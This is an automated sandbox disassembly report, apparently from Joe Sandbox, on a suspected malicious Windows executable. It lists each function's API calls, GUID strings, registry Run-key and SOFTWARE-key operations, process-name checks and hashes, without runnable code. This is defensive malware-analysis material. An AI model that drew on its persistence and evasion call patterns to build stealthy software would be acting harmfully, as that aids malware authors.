Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Time$System$CloseCreateFile__snwprintf_memset
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}
API String ID: 3491885642-838102593
Opcode ID: b4f2d3664f7676c5777fa556a2fd6acddf63637af90fcf0178c1bb5b17e89023
Instruction ID: 88735ca44f1301f1c8e4c1e937c2d1023276968fec0a0581d4155d2375dc125e
Opcode Fuzzy Hash: b4f2d3664f7676c5777fa556a2fd6acddf63637af90fcf0178c1bb5b17e89023
Instruction Fuzzy Hash: DA118A72A50219B6EB25D7B0DC4AFFA733CAB18700F000D54B609DA0C1FAB5E6D4C7A1

Function 003100A0 Relevance: 89.5, APIs: 42, Strings: 9, Instructions: 229
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 003100A6
CommandLineToArgvW.SHELL32(?,?), ref: 003100B7
lstrcmpiW.KERNELBASE(?,{34E50511-FBB8-42F8-98A2-2629192A03A0}), ref: 003100CC
lstrcmpiW.KERNEL32(?,{D77DC119-1B4A-41E3-A066-2927413CA76D}), ref: 003100F1
IsUserAnAdmin.SHELL32 ref: 00310109
OpenEventW.KERNEL32(00100002,00000000,{8399C93C-77D8-4A9E-96D7-0200E8B3EE42}), ref: 00310127
SetEvent.KERNEL32(00000000), ref: 0031013A
CloseHandle.KERNEL32(00000000), ref: 00310148
ExitProcess.KERNEL32 ref: 00310150

Strings

{FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}, xrefs: 003101E0, 003102BF
{8399C93C-77D8-4A9E-96D7-0200E8B3EE42}, xrefs: 0031011B
{0F01F64A-5A5B-4CC4-B069-D85368F634DD}, xrefs: 003102A5
{A3956157-6EDC-4743-A7B9-FF7CDC2529A9}, xrefs: 0031037E
{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 003100C0
{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 00310184, 00310258, 00310337, 003103A4
{6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}, xrefs: 00310214, 003102F3
{D77DC119-1B4A-41E3-A066-2927413CA76D}, xrefs: 003100E5
{9D5F29AE-FCE3-40C6-8BE3-47B8C62D31E2}, xrefs: 003101C6

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CommandEventLinelstrcmpi$AdminArgvCloseExitHandleOpenProcessUser
String ID: {0F01F64A-5A5B-4CC4-B069-D85368F634DD}${34E50511-FBB8-42F8-98A2-2629192A03A0}${6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}${8399C93C-77D8-4A9E-96D7-0200E8B3EE42}${8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}${9D5F29AE-FCE3-40C6-8BE3-47B8C62D31E2}${A3956157-6EDC-4743-A7B9-FF7CDC2529A9}${D77DC119-1B4A-41E3-A066-2927413CA76D}${FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}
API String ID: 786710000-2393832290
Opcode ID: 79d026693474232b16b0f33343bceec693f0f67590dcb0d47750eb582f972c19
Instruction ID: e37879f036d7fe55111e81e32b96f577fdf64acc0bec22aee32c469fa7472f9c
Opcode Fuzzy Hash: 79d026693474232b16b0f33343bceec693f0f67590dcb0d47750eb582f972c19
Instruction Fuzzy Hash: 93910974A40304EBD72E9BA4DD8DBEE7B79BB4C702F108529F516A62D0DBB894C0CB51

Function 00316410 Relevance: 58.0, APIs: 27, Strings: 6, Instructions: 267
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 00316439
_wcscat.LIBCMT ref: 003164A2
__snwprintf.LIBCMT ref: 003164E4
_wcscat.LIBCMT ref: 003164FA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031652E
GetWindowsDirectoryW.KERNEL32(00000000,00000104), ref: 00316553
__snwprintf.LIBCMT ref: 00316595
_wcscat.LIBCMT ref: 003165AB
LocalFree.KERNEL32(00000000), ref: 003165C1
SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 003165F1
__snwprintf.LIBCMT ref: 00316627
CoTaskMemFree.COMBASE(?), ref: 00316636
_wcscat.LIBCMT ref: 0031664A
SHGetKnownFolderPath.SHELL32(00337C40,00000000,00000000,?), ref: 00316683
__snwprintf.LIBCMT ref: 003166B9
CoTaskMemFree.COMBASE(?), ref: 003166C8
_wcscat.LIBCMT ref: 003166DC
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00316710
GetTempPathW.KERNEL32(00000104,00000000), ref: 00316735
LocalFree.KERNEL32(00000000), ref: 003167AD

Part of subcall function 00301C60: _wcsrchr.LIBCMT ref: 00301C6C

__snwprintf.LIBCMT ref: 00316781
_wcscat.LIBCMT ref: 00316797
SHGetKnownFolderPath.SHELL32(00337C10,00000000,00000000,?), ref: 003167DD
__snwprintf.LIBCMT ref: 00316813
CoTaskMemFree.COMBASE(?), ref: 00316822
_wcscat.LIBCMT ref: 00316836
LocalFree.KERNEL32(00000000), ref: 0031685F

Strings

'%s%s', xrefs: 00316584
'%s%s', xrefs: 00316770
'%s%s', xrefs: 003166A8
'%s%s', xrefs: 00316802
'%s%s', xrefs: 00316616
'%s', xrefs: 003164D3

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: _wcscat$FreeLocal__snwprintf$Path$AllocFolderKnownTask$DirectoryTempWindows_wcsrchr
String ID: '%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s'
API String ID: 3511546674-4258658051
Opcode ID: 98cfebd92ab05c3875e0237a53451740adbff69973350cff7bf216ca5b7d19ea
Instruction ID: 57de9cd5a01d794fd616c065124027c51d501cf85429f4b7a61b1c19ae09c942
Opcode Fuzzy Hash: 98cfebd92ab05c3875e0237a53451740adbff69973350cff7bf216ca5b7d19ea
Instruction Fuzzy Hash: 78B151B1A4011DEBDB29DB90DC8AFE9B779AB68300F1081A8E50DAB191D7749FC5CF50

Function 0030B860 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0030B880
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0030B896
_memset.LIBCMT ref: 0030B8BB
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 0030B8CF
_memset.LIBCMT ref: 0030B8F4
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0030B908
_memset.LIBCMT ref: 0030B92D
__snwprintf.LIBCMT ref: 0030B94D
_memset.LIBCMT ref: 0030B96C
__snwprintf.LIBCMT ref: 0030B98C
_memset.LIBCMT ref: 0030B9AB
__snwprintf.LIBCMT ref: 0030B9CB
StrCmpIW.KERNELBASE(?,?), ref: 0030B9E1
StrCmpIW.SHLWAPI(?,?), ref: 0030B9F9
StrCmpIW.SHLWAPI(?,?), ref: 0030BA11

Strings

%s\svchost.exe, xrefs: 0030B97B
%s\explorer.exe, xrefs: 0030B93C
%s\cmd.exe, xrefs: 0030B9BA

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: _memset$__snwprintf$Directory$FileModuleNameSystemWindows
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 60459999-2596767422
Opcode ID: fd717997b1a53d42618b39f38ec5a29df894ca0b4bb3739ab5bd723b9dca22df
Instruction ID: 616acfafb75979e1614b3ccd3e3578af9fbd9d0f59a8f589d43f608a18b18a70
Opcode Fuzzy Hash: fd717997b1a53d42618b39f38ec5a29df894ca0b4bb3739ab5bd723b9dca22df
Instruction Fuzzy Hash: F441B775B103186AD761EB649C86FEA7378AF48700F008598B61DE60C1FBB48B94CB91

Function 00316870 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86
memoryprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,0000FFFE), ref: 00316880
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 0031689C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 003168B1

Part of subcall function 003179F0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,003168E6,003347E8), ref: 00317A19

__snwprintf.LIBCMT ref: 003168FD
_memset.LIBCMT ref: 00316910
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00316957
LocalFree.KERNELBASE(00000000), ref: 00316966
LocalFree.KERNELBASE(00000000), ref: 00316970
LocalFree.KERNEL32(00000000), ref: 00316981
LocalFree.KERNEL32(00000000), ref: 0031698B

Strings

D, xrefs: 00316918
G3, xrefs: 003168DB

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memsetlstrlen
String ID: D$G3
API String ID: 2329958830-2481853025
Opcode ID: 8155eacb707956a3ab6822000f299226f7efd0e45024ec2e763573ff8cf6e21e
Instruction ID: f66260a6b91b31176bb43fe230bf26f338721d327f4c324174fe41e1ac008a13
Opcode Fuzzy Hash: 8155eacb707956a3ab6822000f299226f7efd0e45024ec2e763573ff8cf6e21e
Instruction Fuzzy Hash: F63182B5A10208BBDB25DBA4DC89FEDBB78AF48700F1045A8F609AA190DB755AC4CB50

Function 003142A0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 003142D4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 003142EA

Part of subcall function 0031C570: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0031430B,?,00000000), ref: 0031C58C
Part of subcall function 0031C570: GetFileSize.KERNEL32(000000FF,00000000,?,0031430B,?), ref: 0031C5A1
Part of subcall function 0031C570: LocalAlloc.KERNELBASE(00000040,000000FF,?,0031430B), ref: 0031C5B6
Part of subcall function 0031C570: ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0031C5D7
Part of subcall function 0031C570: CloseHandle.KERNEL32(000000FF), ref: 0031C5ED

__snwprintf.LIBCMT ref: 00314337
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 00314359
RegSetValueExW.KERNELBASE(?,{2DD5D29F-1CE3-49E7-8572-9D856412ED59},00000000,00000003,00000000,00000000), ref: 00314381
RegCloseKey.ADVAPI32(?), ref: 00314392
LocalFree.KERNEL32(00000000), ref: 0031439F
RegCloseKey.ADVAPI32(?), ref: 003143B3
LocalFree.KERNEL32(00000000), ref: 003143C0

Strings

{2DD5D29F-1CE3-49E7-8572-9D856412ED59}, xrefs: 00314375
SOFTWARE\%s, xrefs: 00314326
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00314321

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: File$CloseLocal$Free$AllocCreateHandleModuleNameOpenReadSizeValue__snwprintf_memset
String ID: SOFTWARE\%s${2DD5D29F-1CE3-49E7-8572-9D856412ED59}${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}
API String ID: 3609211549-3847718966
Opcode ID: ccb132e6ac97f16b66b2c2bf33d6ae00e4ecdad0652bab35d4541fb35c677a47
Instruction ID: afd083e09e24275ba54dc58c22bda5b13990ae0626e1d0a9b6ea9a5df576995e
Opcode Fuzzy Hash: ccb132e6ac97f16b66b2c2bf33d6ae00e4ecdad0652bab35d4541fb35c677a47
Instruction Fuzzy Hash: A82180B5A40318ABD735DB60DC4DFEA7778AF48700F108688B61CA6181E7B49AC4CFA1

Function 0030FF10 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,00371178,?,?,?,?,003015DF,00371178), ref: 0030FF23
LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,003015DF,00371178), ref: 0030FF38
wnsprintfW.SHLWAPI ref: 0030FF67
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00371178), ref: 0030FFEF

Part of subcall function 00310400: AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0031044D
Part of subcall function 00310400: _memset.LIBCMT ref: 00310463
Part of subcall function 00310400: SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 003104A0
Part of subcall function 00310400: LocalAlloc.KERNEL32(00000040,00000014), ref: 003104B3
Part of subcall function 00310400: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 003104C8
Part of subcall function 00310400: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 003104DE

CreateDirectoryW.KERNELBASE(?,0000000C), ref: 0030FF9E
GetLastError.KERNEL32 ref: 0030FFA9
LocalFree.KERNEL32(00000000), ref: 0030FFBA
LocalFree.KERNELBASE(?), ref: 0030FFC4
CoTaskMemFree.COMBASE(00371178), ref: 0030FFCE
LocalFree.KERNEL32(00000000), ref: 0030FFE5
CoTaskMemFree.COMBASE(00371178), ref: 0030FFF9

Strings

%s\%s, xrefs: 0030FF59

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocDescriptorInitializeSecurityTask$AllocateCreateDaclDirectoryEntriesErrorFolderKnownLastPath_memsetwnsprintf
String ID: %s\%s
API String ID: 4260852628-4073750446
Opcode ID: 3b02d7a948223fbfe3af0eb5461e221f849ebe60cbd470944ab9fa6849c641ab
Instruction ID: a01d5f45373c6d5515db0ee171313bf7d9924bf8055e902ea70e464b45909571
Opcode Fuzzy Hash: 3b02d7a948223fbfe3af0eb5461e221f849ebe60cbd470944ab9fa6849c641ab
Instruction Fuzzy Hash: 39211074900209EFDB25DFA8DC89BEEBB79AF48305F108468F605E6690C7749A80CB51

Function 003143D0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 62
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 003143F0
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00314406
__snwprintf.LIBCMT ref: 0031442A
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000102,?), ref: 0031444C
lstrlenW.KERNEL32(?), ref: 0031445D
RegSetValueExW.KERNELBASE(?,{C3120582-398C-4F3B-A956-7E9F9DB9EF8E},00000000,00000001,?,00000002), ref: 0031447F
RegCloseKey.ADVAPI32(?), ref: 00314490
RegCloseKey.ADVAPI32(?), ref: 003144A4

Strings

SOFTWARE\%s, xrefs: 00314419
{C3120582-398C-4F3B-A956-7E9F9DB9EF8E}, xrefs: 00314473
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00314414

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNameOpenValue__snwprintf_memsetlstrlen
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C3120582-398C-4F3B-A956-7E9F9DB9EF8E}
API String ID: 1214033602-3858757917
Opcode ID: ac2a54b355484fa511c37f8450dbe98c0de13729269eff0e26f51a2bb99971ed
Instruction ID: f9f09ad1b1ca838de47a82928f1be29a4878ce8c3de5a5712f86bba919a5e317
Opcode Fuzzy Hash: ac2a54b355484fa511c37f8450dbe98c0de13729269eff0e26f51a2bb99971ed
Instruction Fuzzy Hash: 351189B5A503146BD735DB60DC4EFEA737C9F48700F104688B61DA6091EAB59AC4CB61

Function 00312680 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 39
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 0031269B
RegDeleteValueW.ADVAPI32(?,00376FC8,?,?,00301109), ref: 003126AE
RegCloseKey.ADVAPI32(?,?,?,00301109), ref: 003126B8
RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 003126D5
RegDeleteValueW.KERNELBASE(?,{AB1F3E47-AEF1-400E-A108-233A046C3A34},?,?,00301109), ref: 003126E8
RegCloseKey.ADVAPI32(?,?,?,00301109), ref: 003126F2

Strings

{AB1F3E47-AEF1-400E-A108-233A046C3A34}, xrefs: 003126DF
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00312691
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 003126CB

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run${AB1F3E47-AEF1-400E-A108-233A046C3A34}
API String ID: 849931509-2070010218
Opcode ID: c637dd80f35a4496a6ce9611896cb8e7d4144c16a70478508f276c55fd01f0ff
Instruction ID: 1814358130b0a08cce8824478a7cfd5dfa777c285bdc9cdd21d72f6deb7bac9e
Opcode Fuzzy Hash: c637dd80f35a4496a6ce9611896cb8e7d4144c16a70478508f276c55fd01f0ff
Instruction Fuzzy Hash: 26013175700204FBD736DBA0EE49EAE777CEB08701F104158F909A2150DAB2EAD1AB65

Function 0030B510 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 0030B52F
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 0030B547
RegSetValueExW.KERNELBASE(?,{C2FE454F-1649-4C34-B46D-B1EE64A366C2},00000000,00000003,00314285,0000000C), ref: 0030B568
RegCloseKey.ADVAPI32(?), ref: 0030B576

Strings

{C2FE454F-1649-4C34-B46D-B1EE64A366C2}, xrefs: 0030B55F
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 0030B519
SOFTWARE\%s, xrefs: 0030B51E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseOpenValue__snwprintf
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C2FE454F-1649-4C34-B46D-B1EE64A366C2}
API String ID: 2100281157-3270428146
Opcode ID: 8acd320f70d89cacf14901c2584e0e79e932baae78cad9cfc89c74019efb003d
Instruction ID: c8d9841e402f2373fb03bfb7cdc8e8289c9da0661669def7e3066b4941db0c9d
Opcode Fuzzy Hash: 8acd320f70d89cacf14901c2584e0e79e932baae78cad9cfc89c74019efb003d
Instruction Fuzzy Hash: 4A01317574420CBBD722DBA0DC59FAE737CAB49700F104994B609AA1C0EA76DB44A7A1

Function 00301900 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 62
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 003019D2
OpenMutexW.KERNEL32(00100000,00000000,{6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}), ref: 003019EB
WaitForSingleObject.KERNEL32(000002EC,0000000A), ref: 00301A08
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00301C2B
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00301C42
ExitProcess.KERNEL32 ref: 00301C4A

Strings

{6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}, xrefs: 003019DF

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

